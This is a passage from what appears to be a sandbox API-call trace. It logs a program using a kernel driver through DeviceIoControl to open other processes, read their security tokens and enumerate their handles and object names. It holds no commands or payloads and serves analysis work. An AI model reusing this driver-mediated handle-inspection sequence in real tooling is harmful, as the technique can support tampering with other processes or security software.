Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.146] PsReleaseProcessExitSynchronization () returned 0x2 [0114.147] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0114.147] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.147] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.147] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.147] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0114.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.147] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0114.147] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.147] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0114.147] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.147] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.147] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.147] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.147] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.148] CloseHandle (hObject=0xc8) returned 1 [0114.148] CloseHandle (hObject=0xc0) returned 1 [0114.148] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.148] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.149] PsAcquireProcessExitSynchronization () returned 0x0 [0114.149] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0) [0114.149] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0114.149] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.149] PsReleaseProcessExitSynchronization () returned 0x2 [0114.149] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0114.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.149] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0114.149] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.149] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.149] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0114.149] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.149] PsAcquireProcessExitSynchronization () returned 0x0 [0114.149] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0) [0114.149] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0114.149] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.149] PsReleaseProcessExitSynchronization () returned 0x2 [0114.149] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0114.149] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.149] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0114.149] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.149] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.149] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.149] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.149] PsAcquireProcessExitSynchronization () returned 0x0 [0114.149] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880055905d0) [0114.149] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.150] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.150] PsReleaseProcessExitSynchronization () returned 0x2 [0114.150] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0114.150] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.150] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.150] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.150] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.150] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0114.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.150] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0114.150] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.150] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0114.150] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.150] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.150] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.150] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.150] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.151] CloseHandle (hObject=0xc8) returned 1 [0114.151] CloseHandle (hObject=0xc0) returned 1 [0114.151] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.152] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.152] PsAcquireProcessExitSynchronization () returned 0x0 [0114.152] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0) [0114.152] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0114.152] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.152] PsReleaseProcessExitSynchronization () returned 0x2 [0114.152] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0114.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.152] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0114.152] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.152] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.152] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.152] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.152] PsAcquireProcessExitSynchronization () returned 0x0 [0114.152] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0) [0114.152] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0114.152] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.152] PsReleaseProcessExitSynchronization () returned 0x2 [0114.152] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0114.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.152] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0114.152] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.152] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.152] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.152] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.152] PsAcquireProcessExitSynchronization () returned 0x0 [0114.152] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880055905d0) [0114.152] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.153] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.153] PsReleaseProcessExitSynchronization () returned 0x2 [0114.153] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0114.153] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.153] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.153] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.153] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.153] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0114.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.153] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0114.153] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.153] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0114.153] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.153] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.153] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.153] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.153] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.243] CloseHandle (hObject=0xc8) returned 1 [0114.243] CloseHandle (hObject=0xc0) returned 1 [0114.243] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.243] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.243] PsAcquireProcessExitSynchronization () returned 0x0 [0114.243] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0) [0114.244] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0114.244] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.244] PsReleaseProcessExitSynchronization () returned 0x2 [0114.244] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0114.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.244] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0114.244] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.244] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.244] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.244] PsAcquireProcessExitSynchronization () returned 0x0 [0114.244] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0) [0114.244] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0114.244] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.244] PsReleaseProcessExitSynchronization () returned 0x2 [0114.244] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0114.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.244] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0114.244] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.244] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.244] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.244] PsAcquireProcessExitSynchronization () returned 0x0 [0114.244] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880055905d0) [0114.244] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.244] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.244] PsReleaseProcessExitSynchronization () returned 0x2 [0114.245] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0114.245] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.245] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.245] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.245] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.245] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0114.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.245] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0114.245] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.245] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0114.245] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.245] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.245] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.245] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.245] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.246] CloseHandle (hObject=0xc8) returned 1 [0114.247] CloseHandle (hObject=0xc0) returned 1 [0114.247] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.247] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.247] PsAcquireProcessExitSynchronization () returned 0x0 [0114.247] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880055905d0) [0114.247] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0114.247] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.247] PsReleaseProcessExitSynchronization () returned 0x2 [0114.247] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0114.247] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: 